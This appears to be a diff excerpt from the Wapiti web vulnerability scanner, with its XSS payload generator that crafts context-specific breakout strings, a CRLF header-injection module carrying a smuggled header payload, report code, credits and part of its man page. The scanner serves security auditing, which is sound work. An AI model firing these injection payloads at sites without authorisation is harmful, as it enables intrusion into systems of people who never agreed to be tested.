- vulnerabilities : each key is matching a vulnerability class. Value is a list of found vulnerabilities.
|
||||
- anomalies : same as vulnerabilities but used only for error messages and timeouts (items of less importance).
|
||||
- infos : several informations about the scan.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
# Use only one dict for vulnerability and anomaly types
|
||||
self._flaw_types = {}
|
||||
|
||||
self._vulns = {}
|
||||
self._anomalies = {}
|
||||
|
||||
def generate_report(self, output_path):
|
||||
"""
|
||||
Generate a JSON report of the vulnerabilities and anomalies which have
|
||||
been previously logged with the log* methods.
|
||||
"""
|
||||
report_dict = {
|
||||
"classifications": self._flaw_types,
|
||||
"vulnerabilities": self._vulns,
|
||||
"anomalies": self._anomalies,
|
||||
"infos": self._infos
|
||||
}
|
||||
with open(output_path, "w") as f:
|
||||
json.dump(report_dict, f, indent=2)
|
||||
|
||||
# Vulnerabilities
|
||||
def add_vulnerability_type(self, name, description="", solution="", references=None):
|
||||
"""Add informations on a type of vulnerability"""
|
||||
if name not in self._flaw_types:
|
||||
self._flaw_types[name] = {
|
||||
"desc": description,
|
||||
"sol": solution,
|
||||
"ref": references
|
||||
}
|
||||
if name not in self._vulns:
|
||||
self._vulns[name] = []
|
||||
|
||||
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
|
||||
"""
|
||||
Store the informations about a found vulnerability.
|
||||
"""
|
||||
|
||||
vuln_dict = {
|
||||
"method": request.method,
|
||||
"path": request.file_path,
|
||||
"info": info,
|
||||
"level": level,
|
||||
"parameter": parameter,
|
||||
"http_request": request.http_repr(left_margin=""),
|
||||
"curl_command": request.curl_repr,
|
||||
}
|
||||
if category not in self._vulns:
|
||||
self._vulns[category] = []
|
||||
self._vulns[category].append(vuln_dict)
|
||||
|
||||
# Anomalies
|
||||
def add_anomaly_type(self, name, description="", solution="", references=None):
|
||||
"""Register a type of anomaly"""
|
||||
if name not in self._flaw_types:
|
||||
self._flaw_types[name] = {
|
||||
"desc": description,
|
||||
"sol": solution,
|
||||
"ref": references
|
||||
}
|
||||
if name not in self._anomalies:
|
||||
self._anomalies[name] = []
|
||||
|
||||
def add_anomaly(self, category=None, level=0, request=None, parameter="", info=""):
|
||||
"""Store the informations about an anomaly met during the attack."""
|
||||
anom_dict = {
|
||||
"method": request.method,
|
||||
"path": request.file_path,
|
||||
"info": info,
|
||||
"level": level,
|
||||
"parameter": parameter,
|
||||
"http_request": request.http_repr(left_margin=""),
|
||||
"curl_command": request.curl_repr
|
||||
}
|
||||
if category not in self._anomalies:
|
||||
self._anomalies[category] = []
|
||||
self._anomalies[category].append(anom_dict)
|
|
@ -0,0 +1,213 @@
|
|||
import re
|
||||
|
||||
from bs4 import BeautifulSoup, element
|
||||
|
||||
|
||||
# Note: il n'est pas nécessaire de fermer tous les parents, le noscript suffira
|
||||
def close_noscript(tag):
|
||||
"""Return a string with each closing parent tags for escaping a noscript"""
|
||||
s = ""
|
||||
if tag.findParent("noscript"):
|
||||
curr = tag.parent
|
||||
while True:
|
||||
s += "</{0}>".format(curr.name)
|
||||
if curr.name == "noscript":
|
||||
break
|
||||
curr = curr.parent
|
||||
return s
|
||||
|
||||
|
||||
# type/name/tag ex: attrval/img/src
|
||||
def study(bs_node, parent=None, keyword=""):
|
||||
entries = []
|
||||
|
||||
# if parent is None:
|
||||
# print("Keyword is: {0}".format(keyword))
|
||||
if keyword in str(bs_node).lower():
|
||||
if isinstance(bs_node, element.Tag):
|
||||
if keyword in str(bs_node.attrs):
|
||||
|
||||
for k, v in bs_node.attrs.items():
|
||||
if keyword in v:
|
||||
# print("Found in attribute value {0} of tag {1}".format(k, bs_node.name))
|
||||
noscript = close_noscript(bs_node)
|
||||
d = {"type": "attrval", "name": k, "tag": bs_node.name, "noscript": noscript}
|
||||
if d not in entries:
|
||||
entries.append(d)
|
||||
|
||||
if keyword in k:
|
||||
# print("Found in attribute name {0} of tag {1}".format(k, bs_node.name))
|
||||
noscript = close_noscript(bs_node)
|
||||
d = {"type": "attrname", "name": k, "tag": bs_node.name, "noscript": noscript}
|
||||
if d not in entries:
|
||||
entries.append(d)
|
||||
|
||||
elif keyword in bs_node.name:
|
||||
# print("Found in tag name")
|
||||
noscript = close_noscript(bs_node)
|
||||
d = {"type": "tag", "value": bs_node.name, "noscript": noscript}
|
||||
if d not in entries:
|
||||
entries.append(d)
|
||||
|
||||
# recursively search injection points for the same variable
|
||||
for x in bs_node.contents:
|
||||
for entry in study(x, parent=bs_node, keyword=keyword):
|
||||
if entry not in entries:
|
||||
entries.append(entry)
|
||||
|
||||
elif isinstance(bs_node, element.Comment):
|
||||
# print("Found in comment, tag {0}".format(parent.name))
|
||||
noscript = close_noscript(bs_node)
|
||||
d = {"type": "comment", "parent": parent.name, "noscript": noscript}
|
||||
if d not in entries:
|
||||
entries.append(d)
|
||||
|
||||
elif isinstance(bs_node, element.NavigableString):
|
||||
# print("Found in text, tag {0}".format(parent.name))
|
||||
noscript = close_noscript(bs_node)
|
||||
d = {"type": "text", "parent": parent.name, "noscript": noscript}
|
||||
if d not in entries:
|
||||
entries.append(d)
|
||||
|
||||
return entries
|
||||
|
||||
|
||||
# generate a list of payloads based on where in the webpage the js-code will be injected
|
||||
def generate_payloads(html_code, code, independant_payloads):
|
||||
# We must keep the original source code because bs gives us something that may differ...
|
||||
soup = BeautifulSoup(html_code, "html5lib")
|
||||
entries = study(soup, keyword=code)
|
||||
|
||||
payloads = []
|
||||
|
||||
for elem in entries:
|
||||
payload = ""
|
||||
# Try each case where our string can be found
|
||||
# Leave at the first possible exploitation found
|
||||
|
||||
# Our string is in the value of a tag attribute
|
||||
# ex: <a href="our_string"></a>
|
||||
if elem["type"] == "attrval":
|
||||
# print("tag -> {0}".format(elem["tag"]))
|
||||
# print(elem["name"])
|
||||
code_index = html_code.find(code)
|
||||
attrval_index = 0
|
||||
before_code = html_code[:code_index]
|
||||
|
||||
# Not perfect but still best than the former rfind
|
||||
attr_pattern = "\s*" + elem["name"] + "\s*=\s*"
|
||||
|
||||
# Let's find the last match
|
||||
for m in re.finditer(attr_pattern, before_code, flags=re.IGNORECASE):
|
||||
attrval_index = m.end()
|
||||
|
||||
attrval = before_code[attrval_index:]
|
||||
# between the tag name and our injected attribute there is an equal sign and maybe
|
||||
# a quote or a double-quote that we need to close before adding our payload
|
||||
if attrval.startswith("'"):
|
||||
payload = "'"
|
||||
elif attrval.startswith('"'):
|
||||
payload = '"'
|
||||
|
||||
# we must deal differently with self-closing tags
|
||||
if elem["tag"].lower() in ["img", "input"]:
|
||||
payload += "/>"
|
||||
else:
|
||||
payload += "></" + elem["tag"] + ">"
|
||||
|
||||
payload += elem["noscript"]
|
||||
# ok let's send the requests
|
||||
for xss, flags in independant_payloads:
|
||||
js_code = payload + xss.replace("__XSS__", code)
|
||||
if (js_code, flags) not in payloads:
|
||||
payloads.append((js_code, flags))
|
||||
|
||||
if elem["name"].lower() == "src" and elem["tag"].lower() in ["frame", "iframe"]:
|
||||
if elem["tag"].lower() == "frame":
|
||||
flags = {"frame_src_javascript"}
|
||||
else:
|
||||
flags = {"iframe_src_javascript"}
|
||||
|
||||
js_code = "javascript:String.fromCharCode(0,__XSS__,1);".replace("__XSS__", code)
|
||||
if (js_code, flags) not in payloads:
|
||||
payloads.insert(0, (js_code, flags))
|
||||
|
||||
# we control an attribute name
|
||||
# ex: <a our_string="/index.html">
|
||||
elif elem["type"] == "attrname": # name,tag
|
||||
if code == elem["name"]:
|
||||
for xss, flags in independant_payloads:
|
||||
js_code = '>' + elem["noscript"] + xss.replace("__XSS__", code)
|
||||
if (js_code, flags) not in payloads:
|
||||
payloads.append((js_code, flags))
|
||||
|
||||
# we control the tag name
|
||||
# ex: <our_string name="column" />
|
||||
elif elem["type"] == "tag":
|
||||
if elem["value"].startswith(code):
|
||||
# use independent payloads, just remove the first character (<)
|
||||
for xss, flags in independant_payloads:
|
||||
payload = elem["noscript"] + xss.replace("__XSS__", code)
|
||||
js_code = payload[1:]
|
||||
if (js_code, flags) not in payloads:
|
||||
payloads.append((js_code, flags))
|
||||
else:
|
||||
for xss, flags in independant_payloads:
|
||||
js_code = "/>" + elem["noscript"] + xss.replace("__XSS__", code)
|
||||
if (js_code, flags) not in payloads:
|
||||
payloads.append((js_code, flags))
|
||||
|
||||
# we control the text of the tag
|
||||
# ex: <textarea>our_string</textarea>
|
||||
elif elem["type"] == "text":
|
||||
if elem["parent"] in ["title", "textarea"]: # we can't execute javascript in those tags
|
||||
if elem["noscript"] != "":
|
||||
payload = elem["noscript"]
|
||||
else:
|
||||
payload = "</{0}>".format(elem["parent"])
|
||||
elif elem["parent"] == "script": # Control over the body of a script :)
|
||||
# Just check if we can use brackets
|
||||
js_code = "String.fromCharCode(0,__XSS__,1)".replace("__XSS__", code)
|
||||
flags = {"script_fromcharcode"}
|
||||
if (js_code, flags) not in payloads:
|
||||
payloads.insert(0, (js_code, flags))
|
||||
|
||||
for xss, flags in independant_payloads:
|
||||
js_code = payload + xss.replace("__XSS__", code)
|
||||
if (js_code, flags) not in payloads:
|
||||
payloads.append((js_code, flags))
|
||||
|
||||
# Injection occurred in a comment tag
|
||||
# ex: <!-- <div> whatever our_string blablah </div> -->
|
||||
elif elem["type"] == "comment":
|
||||
payload = "-->"
|
||||
if elem["parent"] in ["title", "textarea"]: # we can't execute javascript in those tags
|
||||
if elem["noscript"] != "":
|
||||
payload += elem["noscript"]
|
||||
else:
|
||||
payload += "</{0}>".format(elem["parent"])
|
||||
elif elem["parent"] == "script": # Control over the body of a script :)
|
||||
# Just check if we can use brackets
|
||||
js_code = payload + "String.fromCharCode(0,__XSS__,1)".replace("__XSS__", code)
|
||||
flags = {"script_fromcharcode"}
|
||||
if (js_code, flags) not in payloads:
|
||||
payloads.insert(0, (js_code, flags))
|
||||
|
||||
for xss, flags in independant_payloads:
|
||||
js_code = payload + xss.replace("__XSS__", code)
|
||||
if (js_code, flags) not in payloads:
|
||||
payloads.append((js_code, flags))
|
||||
|
||||
html_code = html_code.replace(code, "none", 1) # Reduce the research zone
|
||||
return payloads
|
||||
|
||||
|
||||
def valid_xss_content_type(http_res):
|
||||
"""Check whether the returned content-type header allow javascript evaluation."""
|
||||
# When no content-type is returned, browsers try to display the HTML
|
||||
if "content-type" not in http_res.headers:
|
||||
return True
|
||||
# else only text/html will allow javascript (maybe text/plain will work for IE...)
|
||||
if "text/html" in http_res.headers["content-type"]:
|
||||
return True
|
||||
return False
|
|
@ -0,0 +1,16 @@
|
|||
Main Developer - Nicolas Surribas <nicolas.surribas (at) gmail.com>
|
||||
http://devloop.users.sourceforge.net/
|
||||
http://wapiti.sourceforge.net/
|
||||
|
||||
A Special thanks to the following people for the work on the version 2.3.0 :
|
||||
* David del Pozo (spanish translations)
|
||||
* Alberto Pastor (spanish translations)
|
||||
* Mattia Barbon (bugfixing and testing)
|
||||
* Le Gnou & Ecirbaf from www.gimp-attitude.org (new logo)
|
||||
* int23h (german translations)
|
||||
* Sindhu Kumar (malaysian translations and Windows testing)
|
||||
|
||||
And to people who help on version 3.0.0 :
|
||||
* Milan Bartos
|
||||
* Thijs Kinkhorst
|
||||
* Gianfranco Costamagna
|
|
@ -0,0 +1,10 @@
|
|||
include README.md
|
||||
include INSTALL.md
|
||||
include VERSION
|
||||
|
||||
recursive-include wapitiCore/config *
|
||||
recursive-include wapitiCore/language_sources *
|
||||
recursive-include wapitiCore/report_template *
|
||||
recursive-include doc *
|
||||
exclude wapitiCore/language_sources/*.sh
|
||||
exclude wapitiCore/language_sources/file_list.txt
|
|
@ -0,0 +1,19 @@
|
|||
../attack/attack.py
|
||||
../attack/mod_backup.py
|
||||
../attack/mod_blindsql.py
|
||||
../attack/mod_buster.py
|
||||
../attack/mod_crlf.py
|
||||
../attack/mod_delay.py
|
||||
../attack/mod_exec.py
|
||||
../attack/mod_file.py
|
||||
../attack/mod_htaccess.py
|
||||
../attack/mod_nikto.py
|
||||
../attack/mod_permanentxss.py
|
||||
../attack/mod_shellshock.py
|
||||
../attack/mod_sql.py
|
||||
../attack/mod_xss.py
|
||||
../language/vulnerability.py
|
||||
../main/getcookie.py
|
||||
../main/wapiti.py
|
||||
../net/crawler.py
|
||||
../report/txtreportgenerator.py
|
|
@ -0,0 +1,100 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from urllib.parse import quote
|
||||
|
||||
from requests.exceptions import ReadTimeout, HTTPError, RequestException
|
||||
|
||||
from wapitiCore.attack.attack import Attack
|
||||
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
|
||||
|
||||
|
||||
class mod_crlf(Attack):
|
||||
"""This class implements a CRLF attack"""
|
||||
# Won't work with PHP >= 4.4.2
|
||||
|
||||
name = "crlf"
|
||||
MSG_VULN = _("CRLF Injection")
|
||||
do_get = False
|
||||
do_post = False
|
||||
payloads = (quote("http://www.google.fr\r\nwapiti: 3.0.1 version"), set())
|
||||
|
||||
def attack(self):
|
||||
mutator = self.get_mutator()
|
||||
|
||||
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
|
||||
for http_res in http_resources:
|
||||
page = http_res.path
|
||||
|
||||
for mutated_request, parameter, payload, flags in mutator.mutate(http_res):
|
||||
try:
|
||||
if self.verbose == 2:
|
||||
print("+ {0}".format(mutated_request.url))
|
||||
try:
|
||||
response = self.crawler.send(mutated_request)
|
||||
|
||||
except ReadTimeout:
|
||||
self.add_anom(
|
||||
request_id=http_res.path_id,
|
||||
category=Anomaly.RES_CONSUMPTION,
|
||||
level=Anomaly.MEDIUM_LEVEL,
|
||||
request=mutated_request,
|
||||
parameter=parameter,
|
||||
info="Timeout (" + parameter + ")"
|
||||
)
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_TIMEOUT, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(mutated_request.http_repr())
|
||||
self.log_orange("---")
|
||||
|
||||
except HTTPError:
|
||||
self.log(_("Error: The server did not understand this request"))
|
||||
else:
|
||||
if "wapiti" in response.headers:
|
||||
self.add_vuln(
|
||||
request_id=http_res.path_id,
|
||||
category=Vulnerability.CRLF,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=mutated_request,
|
||||
parameter=parameter,
|
||||
info=self.MSG_VULN + " (" + parameter + ")"
|
||||
)
|
||||
|
||||
if parameter == "QUERY_STRING":
|
||||
injection_msg = Vulnerability.MSG_QS_INJECT
|
||||
else:
|
||||
injection_msg = Vulnerability.MSG_PARAM_INJECT
|
||||
|
||||
self.log_red("---")
|
||||
self.log_red(
|
||||
injection_msg,
|
||||
self.MSG_VULN,
|
||||
page,
|
||||
parameter
|
||||
)
|
||||
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
|
||||
self.log_red(mutated_request.http_repr())
|
||||
self.log_red("---")
|
||||
|
||||
except (RequestException, KeyboardInterrupt) as exception:
|
||||
yield exception
|
||||
|
||||
yield http_res
|
|
@ -0,0 +1,27 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<anomalies>
|
||||
<anomaly name="Internal Server Error">
|
||||
<description>Internal server error description</description>
|
||||
<solution text="Internal server error solution"/>
|
||||
<references>
|
||||
<reference>
|
||||
<title>Wikipedia article for 5xx HTTP error codes</title>
|
||||
<url>https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#5xx_Server_Error</url>
|
||||
</reference>
|
||||
</references>
|
||||
</anomaly>
|
||||
<anomaly name="Resource consumption">
|
||||
<description>Resource consumption description</description>
|
||||
<solution text="Resource consumption solution"/>
|
||||
<references>
|
||||
<reference>
|
||||
<title>http://www.owasp.org/index.php/Asymmetric_resource_consumption_(amplification)</title>
|
||||
<url>http://www.owasp.org/index.php/Asymmetric_resource_consumption_(amplification)</url>
|
||||
</reference>
|
||||
<reference>
|
||||
<title><![CDATA[CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')]]></title>
|
||||
<url>http://cwe.mitre.org/data/definitions/400.html</url>
|
||||
</reference>
|
||||
</references>
|
||||
</anomaly>
|
||||
</anomalies>
|
|
@ -0,0 +1,580 @@
|
|||
.\" generated with Ronn/v0.7.3
|
||||
.\" http://github.com/rtomayko/ronn/tree/0.7.3
|
||||
.
|
||||
.TH "WAPITI" "1" "January 2018" "" ""
|
||||
.
|
||||
.SH "NAME"
|
||||
\fBwapiti\fR \- A web application vulnerability scanner in Python
|
||||
.
|
||||
.SH "SYNOPSIS"
|
||||
\fBwapiti\fR \-u \fIBASE_URL\fR [options]
|
||||
.
|
||||
.SH "DESCRIPTION"
|
||||
Wapiti allows you to audit the security of your web applications\.
|
||||
.
|
||||
.P
|
||||
It performs "black\-box" scans, i\.e\. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data\.
|
||||
.
|
||||
.P
|
||||
Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable\.
|
||||
.
|
||||
.P
|
||||
Wapiti is useful only to discover vulnerabilities : it is not an exploitation tools\. Some well known applications can be used for the exploitation part like the recommanded sqlmap\.
|
||||
.
|
||||
.SH "OPTIONS SUMMARY"
|
||||
Here is a summary of options\. It is essentially what you will get when you launch Wapiti without any argument\. More detail on each option can be found in the following sections\.
|
||||
.
|
||||
.P
|
||||
TARGET SPECIFICATION:
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-u\fR \fIURL\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-scope\fR {page,folder,domain,url}
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.P
|
||||
ATTACK SPECIFICATION:
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-m\fR \fIMODULES_LIST\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-list\-modules\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-l\fR \fILEVEL\fR
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.P
|
||||
PROXY AND AUTHENTICATION OPTIONS:
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-p\fR \fIPROXY_URL\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-a\fR \fICREDENTIALS\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-auth\-type\fR {basic,digest,kerberos,ntlm}
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-c\fR \fICOOKIE_FILE\fR
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.P
|
||||
SESSION OPTIONS:
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-skip\-crawl\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-resume\-crawl\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-flush\-attacks\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-flush\-session\fR
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.P
|
||||
SCAN AND ATTACKS TUNING:
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-s\fR \fIURL\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-x\fR \fIURL\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-r\fR \fIPARAMETER\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-skip\fR \fIPARAMETER\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-d\fR \fIDEPTH\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-max\-links\-per\-page\fR \fIMAX_LINKS_PER_PAGE\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-max\-files\-per\-dir\fR \fIMAX_FILES_PER_DIR\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-max\-scan\-time\fR \fIMAX_SCAN_TIME\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-max\-parameters\fR \fIMAX\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-S\fR, \fB\-\-scan\-force\fR {paranoid,sneaky,polite,normal,aggressive,insane}
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.P
|
||||
HTTP AND NETWORK OPTIONS:
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-t\fR \fISECONDS\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-H\fR \fIHEADER\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-A\fR \fIAGENT\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-verify\-ssl\fR {0,1}
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.P
|
||||
OUTPUT OPTIONS:
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-color\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-v\fR \fILEVEL\fR
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.P
|
||||
REPORT OPTIONS:
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-f\fR {json,html,txt,openvas,vulneranet,xml}
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-o\fR \fIOUPUT_PATH\fR
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.P
|
||||
OTHER OPTIONS:
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-no\-bugreport\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-version\fR
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-h\fR
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.SH "TARGET SPECIFICATION"
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-u\fR, \fB\-\-url\fR \fIURL\fR
|
||||
.
|
||||
.br
|
||||
The URL that will be used as the base for the scan\. Every URL found during the scan will be checked against the base URL and the corresponding scan scope (see \-\-scope for details)\.
|
||||
.
|
||||
.br
|
||||
This is the only required argument\. The scheme part of the URL must be either http or https\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-scope\fR \fISCOPE\fR
|
||||
.
|
||||
.br
|
||||
Define the scope of the scan and attacks\. Valid choices are :
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
url : will only scan and attack the exact base URL given with \-u option
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
page : will attack every URL matching the path of the base URL (every query string variation)
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
folder : will scan and attack every URL starting with the base URL value\. This base URL should have a trailing slash (no filename)
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
domain : will scan and attack every URL whose domain name match the one from the base URL\.
|
||||
.
|
||||
.IP "" 0
|
||||
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.SH "ATTACK SPECIFICATION"
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-m\fR, \fB\-\-module\fR \fIMODULE_LIST\fR
|
||||
.
|
||||
.br
|
||||
Set the list of attack modules (modules names separated with commas) to launch against the target\.
|
||||
.
|
||||
.br
|
||||
Default behavior (when the option is not set) is to use the most common modules\.
|
||||
.
|
||||
.br
|
||||
Common modules can also be specified using the "common" keyword\.
|
||||
.
|
||||
.br
|
||||
To launch a scan without launching any attack, just give an empty value (\-m "")\.
|
||||
.
|
||||
.br
|
||||
You can filter on http methods too (only get or post)\. For example \-m "xss:get,exec:post"\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-list\-modules\fR
|
||||
.
|
||||
.br
|
||||
Print the list of available Wapiti modules and exit\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-l\fR, \fB\-\-level\fR \fILEVEL\fR
|
||||
.
|
||||
.br
|
||||
In previous versions Wapiti used to inject attack payloads in query strings even if no parameter was present in the original URL\.
|
||||
.
|
||||
.br
|
||||
While it may be successful in finding vulnerabilities that way, it was causing too many requests for not enough success\.
|
||||
.
|
||||
.br
|
||||
This behavior is now hidden behind this option and can be reactivated by setting \-l to 2\.
|
||||
.
|
||||
.br
|
||||
It may be useful on CGIs when developers have to parse the query\-string themselves\.
|
||||
.
|
||||
.br
|
||||
Default value for this option is 1\.
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.SH "PROXY AND AUTHENTICATION OPTIONS"
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-p\fR, \fB\-\-proxy\fR \fIPROXY_URL\fR
|
||||
.
|
||||
.br
|
||||
The given URL will be used as a proxy for HTTP and HTTPS requests\. This URL can have one of the following scheme : http, https, socks\.
|
||||
.
|
||||
.br
|
||||
To make Wapiti use a Tor listener you can use \-\-proxy socks://127\.0\.0\.1:9050/
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-a\fR, \fB\-\-auth\-cred\fR \fICREDENTIALS\fR
|
||||
.
|
||||
.br
|
||||
Set credentials to use for HTTP authentication on the target\.
|
||||
.
|
||||
.br
|
||||
Given value should be in the form login%password (% is used as a separator)
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-auth\-type\fR \fITYPE\fR
|
||||
.
|
||||
.br
|
||||
Set the authentication mechanism to use\. Valid choices are basic, digest, kerberos and ntlm\.
|
||||
.
|
||||
.br
|
||||
Kerberos and NTLM authentication may require you to install additionnal Python modules\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-c\fR, \fB\-\-cookie\fR \fICOOKIE_FILE\fR
|
||||
.
|
||||
.br
|
||||
Load cookies from a Wapiti JSON cookie file\. See wapiti\-getcookie(1) for more informations\.
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.SH "SESSION OPTIONS"
|
||||
Since Wapiti 3\.0\.0, scanned URLs, discovered vulnerabilities and attacks status are stored in sqlite3 databases used as Wapiti session files\.
|
||||
.
|
||||
.br
|
||||
Default behavior when a previous scan session exists for the given base URL and scope is to resume the scan and attack status\.
|
||||
.
|
||||
.br
|
||||
Following options allows you to bypass this behavior/
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-skip\-crawl\fR
|
||||
.
|
||||
.br
|
||||
If a previous scan was performed but wasn\'t finished, don\'t resume the scan\. Attack will be made on currently known URLs without scanning more\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-resume\-crawl\fR
|
||||
.
|
||||
.br
|
||||
If the crawl was previously stopped and attacks started, default behavior is to skip crawling if the session is restored\.
|
||||
.
|
||||
.br
|
||||
Use this option in order to continue the scan process while keeping vulnerabilities and attacks in the session\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-flush\-attacks\fR
|
||||
.
|
||||
.br
|
||||
Forget everything about discovered vulnerabilities and which URL was attacked by which module\.
|
||||
.
|
||||
.br
|
||||
Only the scan (crawling) informations will be kept\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-flush\-session\fR
|
||||
.
|
||||
.br
|
||||
Forget everything about the target for the given scope\.
|
||||
.
|
||||
.IP "" 0
|
||||
.
|
||||
.SH "SCAN AND ATTACKS TUNING"
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-s\fR, \fB\-\-start\fR \fIURL\fR
|
||||
.
|
||||
.br
|
||||
If for some reasons, Wapiti doesn\'t find any (or enough) URLs from the base URL you can still add URLs to start the scan with\.
|
||||
.
|
||||
.br
|
||||
Those URLs will be given a depth of 0, just like the base URL\.
|
||||
.
|
||||
.br
|
||||
This option can be called several times\.
|
||||
.
|
||||
.br
|
||||
You can also give it a filename and Wapiti will read URLs from the given file (must be UTF\-8 encoded), one URL per line\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-x\fR, \fB\-\-exclude\fR \fIURL\fR
|
||||
.
|
||||
.br
|
||||
Prevent the given URL from being scanned\. Common use is to exclude the logout URL to prevent the destruction of session cookies (if you specified a cookie file with \-\-cookie)\.
|
||||
.
|
||||
.br
|
||||
This option can be applied several times\. Excluded URL given as a parameter can contain wildcards for basic pattern matching\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-r\fR, \fB\-\-remove\fR \fIPARAMETER\fR
|
||||
.
|
||||
.br
|
||||
If the given parameter is found in scanned URL it will be automatically removed (URLs are edited)\.
|
||||
.
|
||||
.br
|
||||
This option can be used several times\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-\-skip\fR \fIPARAMETER\fR
|
||||
.
|
||||
.br
|
||||
Given parameter will be kept in URLs and forms but won\'t be attacked\.
|
||||
.
|
||||
.br
|
||||
Useful if you already know non\-vulnerable parameters\.
|
||||
.
|
||||
.IP "\(bu" 4
|
||||
\fB\-d\fR, \fB\-\-depth\fR \fIDEPTH\fR
|
||||
.
|
||||
.br
|
||||
